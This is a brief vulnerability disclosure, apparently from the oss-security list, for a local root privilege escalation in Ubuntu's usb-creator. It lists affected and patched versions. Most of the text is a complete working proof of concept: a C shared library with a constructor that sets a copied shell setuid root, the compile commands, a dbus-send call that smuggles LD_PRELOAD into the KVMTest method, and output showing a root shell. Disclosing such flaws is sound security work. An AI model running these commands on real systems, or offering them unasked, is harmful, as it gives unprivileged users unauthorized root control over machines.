Source: http://www.openwall.com/lists/oss-security/2015/04/22/12 Bug report: https://bugs.launchpad.net/ubuntu/vivid/+source/usb-creator/+bug/1447396 Ubuntu Precise (12.04LTS) <= usb-creator: 0.2.38.3ubuntu (Patched in: 0.2.38.3ubuntu0.1) Ubuntu Trusty (14.04LTS) <= usb-creator 0.2.56.3ubuntu (Patched in: 0.2.56.3ubuntu0.1) Ubuntu Utopic (14.10) <= usb-creator 0.2.62ubuntu0.2 (Patched in: 0.2.62ubuntu0.3) $ cat > test.c void __attribute__((constructor)) init (void) { chown("/tmp/test", 0, 0); chmod("/tmp/test", 04755); } ^D $ gcc -shared -fPIC -o /tmp/test.so test.c $ cp /bin/sh /tmp/test $ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so" method return sender=:1.4364 -> dest=:1.7427 reply_serial=2 $ ls -l /tmp/test -rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test $ /tmp/test # id euid=0(root) groups=0(root)